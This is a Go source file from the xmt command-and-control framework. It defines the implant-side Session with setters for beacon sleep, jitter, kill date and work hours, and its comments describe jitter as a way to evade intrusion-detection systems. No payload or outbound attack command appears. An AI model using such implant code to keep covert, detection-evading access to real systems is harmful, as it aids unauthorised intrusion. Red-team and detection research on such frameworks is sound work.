github.com/iDigitalFlame/xmt@v0.5.4/c2/session_implant.go (about)

     1  //go:build implant
     2  // +build implant
     3  
     4  // Copyright (C) 2020 - 2023 iDigitalFlame
     5  //
     6  // This program is free software: you can redistribute it and/or modify
     7  // it under the terms of the GNU General Public License as published by
     8  // the Free Software Foundation, either version 3 of the License, or
     9  // any later version.
    10  //
    11  // This program is distributed in the hope that it will be useful,
    12  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    13  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    14  // GNU General Public License for more details.
    15  //
    16  // You should have received a copy of the GNU General Public License
    17  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    18  //
    19  
    20  package c2
    21  
    22  import (
    23  	"sync"
    24  	"time"
    25  
    26  	"github.com/iDigitalFlame/xmt/c2/cfg"
    27  	"github.com/iDigitalFlame/xmt/com"
    28  	"github.com/iDigitalFlame/xmt/data"
    29  	"github.com/iDigitalFlame/xmt/device"
    30  	"github.com/iDigitalFlame/xmt/util/xerr"
    31  )
    32  
    33  // Job is a struct that is used to track and manage Tasks given to Session
    34  // Clients.
    35  //
    36  // This struct has function callbacks that can be used to watch for completion
    37  // and offers a Wait function to pause execution until a response is received.
    38  //
    39  // This struct is always empty for implants.
    40  type Job struct{}
    41  
    42  // Session is a struct that represents a connection between the client and the
    43  // Listener.
    44  //
    45  // This struct does some automatic handling and acts as the communication
    46  // channel between the client and server.
    47  type Session struct {
    48  	lock sync.RWMutex
    49  
    50  	Last    time.Time
    51  	Created time.Time
    52  	connection
    53  
    54  	swap            cfg.Profile
    55  	ch, wake        chan struct{}
    56  	parent          *Listener
    57  	send, recv, chn chan *com.Packet
    58  	frags           map[uint16]*cluster
    59  
    60  	Shutdown func(*Session)
    61  	Receive  func(*Session, *com.Packet)
    62  	proxy    *proxyBase
    63  	tick     *sleeper
    64  	peek     *com.Packet
    65  	host     container
    66  	kill     time.Time
    67  	work     *cfg.WorkHours
    68  
    69  	Device   device.Machine
    70  	sleep    time.Duration
    71  	state    state
    72  	keysNext *data.KeyPair
    73  	keys     data.KeyPair
    74  
    75  	ID             device.ID
    76  	jitter, errors uint8
    77  }
    78  
    79  // IsClient returns true when this Session is not associated to a Listener on
    80  // this end, which signifies that this session is Client initiated, or we are
    81  // on a client device.
    82  func (*Session) IsClient() bool {
    83  	return true
    84  }
    85  func (*Session) accept(_ uint16) {}
    86  
    87  // Listener will return the Listener that created the Session. This will return
    88  // nil if the session is not on the server side.
    89  func (*Session) Listener() *Listener {
    90  	return nil
    91  }
    92  func (*Session) hasJob(_ uint16) bool {
    93  	return false
    94  }
    95  func (*Session) frag(_, _, _, _ uint16) {}
    96  func (*Session) handle(_ *com.Packet) bool {
    97  	return false
    98  }
    99  
   100  // SetJitter sets Jitter percentage of the Session's wake interval. This is a 0
   101  // to 100 percentage (inclusive) that will determine any +/- time is added to
   102  // the waiting period. This assists in evading IDS/NDS devices/systems.
   103  //
   104  // A value of 0 will disable Jitter and any value over 100 will set the value to
   105  // 100, which represents using Jitter 100% of the time.
   106  //
   107  // If this is a Server-side Session, the new value will be sent to the Client in
   108  // a MvTime Packet.
   109  func (s *Session) SetJitter(j int) (*Job, error) {
   110  	return s.SetDuration(0, j)
   111  }
   112  
   113  // SetKillDate sets the KillDate for this Session. This is a setting that controls
   114  // the date when this Session will shutdown automatically.
   115  //
   116  // Use the WorkHours functions to create one or do it manually. If a nil value
   117  // is passed (or an empty WorkHours) this will clear the current WorkHours setting.
   118  //
   119  // Changing the WorkHours when there perviously was a non-nil setting will wake
   120  // the Session if it's sleeping.
   121  //
   122  // If this is a Server-side Session, the new value will be sent to the Client in
   123  // a MvTime Packet.
   124  func (s *Session) SetKillDate(t time.Time) (*Job, error) {
   125  	s.kill = t
   126  	return nil, nil
   127  }
   128  
   129  // SetSleep sets the wake interval period for this Session. This is the time value
   130  // between connections to the C2 Server.
   131  //
   132  // If this is a Server-side Session, the new value will be sent to the Client in
   133  // a MvTime Packet. This setting does not affect Jitter.
   134  func (s *Session) SetSleep(t time.Duration) (*Job, error) {
   135  	return s.SetDuration(t, -1)
   136  }
   137  
   138  // SetProfileBytes will set the Profile used by this Session. This function will
   139  // unmarshal and set the server-side before setting and will then pass it to be
   140  // set by the client Session (if this isn't one already).
   141  //
   142  // If this is a server-side Session, this will trigger the sending of a MvProfile
   143  // Packet to update the client-side instance, which will update on it's next
   144  // wakeup cycle.
   145  //
   146  // This function will fail if no ProfileParser is set.
   147  //
   148  // If this is a client-side session the error 'ErrNoTask' will be returned AFTER
   149  // setting the Profile and indicates that no Packet will be sent and that the
   150  // Job object result is nil.
   151  func (s *Session) SetProfileBytes(b []byte) (*Job, error) {
   152  	p, err := parseProfile(b)
   153  	if err != nil {
   154  		return nil, xerr.Wrap("parse Profile", err)
   155  	}
   156  	s.p = p
   157  	return nil, nil
   158  }
   159  
   160  // SetProfile will set the Profile used by this Session. This function will
   161  // ensure that the profile is marshalable before setting and will then pass it
   162  // to be set by the client Session (if this isn't one already).
   163  //
   164  // If this is a server-side Session, this will trigger the sending of a MvProfile
   165  // Packet to update the client-side instance, which will update on it's next
   166  // wakeup cycle.
   167  //
   168  // If this is a client-side session the error 'ErrNoTask' will be returned AFTER
   169  // setting the Profile and indicates that no Packet will be sent and that the
   170  // Job object result is nil.
   171  func (s *Session) SetProfile(p cfg.Profile) (*Job, error) {
   172  	if p == nil {
   173  		return nil, ErrInvalidProfile
   174  	}
   175  	s.p = p
   176  	return nil, nil
   177  }
   178  
   179  // SetWorkHours sets the WorkingHours for this Session. This is a setting that
   180  // controls WHEN the Session will talk to the C2 Server.
   181  //
   182  // Use the WorkHours functions to create one or do it manually. If a nil value
   183  // is passed (or an empty WorkHours) this will clear the current WorkHours setting.
   184  //
   185  // Changing the WorkHours when there perviously was a non-nil setting will wake
   186  // the Session if it's sleeping.
   187  //
   188  // If this is a Server-side Session, the new value will be sent to the Client in
   189  // a MvTime Packet.
   190  func (s *Session) SetWorkHours(w *cfg.WorkHours) (*Job, error) {
   191  	if w == nil || w.Empty() {
   192  		if s.work != nil {
   193  			s.Wake()
   194  		}
   195  		s.work = nil
   196  		return nil, nil
   197  	}
   198  	if err := w.Verify(); err != nil {
   199  		return nil, err
   200  	}
   201  	if s.work != nil {
   202  		s.Wake()
   203  	}
   204  	s.work = w
   205  	return nil, nil
   206  }
   207  
   208  // SetDuration sets the wake interval period and Jitter for this Session. This is
   209  // the time value between connections to the C2 Server.
   210  //
   211  // Jitter is a 0 to 100 percentage (inclusive) that will determine any +/- time
   212  // is added to the waiting period. This assists in evading IDS/NDS devices/systems.
   213  //
   214  // A value of 0 will disable Jitter and any value over 100 will set the value to
   215  // 100, which represents using Jitter 100% of the time.
   216  //
   217  // If this is a Server-side Session, the new value will be sent to the Client in
   218  // a MvTime Packet.
   219  func (s *Session) SetDuration(t time.Duration, j int) (*Job, error) {
   220  	switch {
   221  	case j == -1:
   222  	case j < 0:
   223  		s.jitter = 0
   224  	case j > 100:
   225  		s.jitter = 100
   226  	default:
   227  		s.jitter = uint8(j)
   228  	}
   229  	if t > 0 {
   230  		s.sleep = t
   231  	}
   232  	return nil, nil
   233  }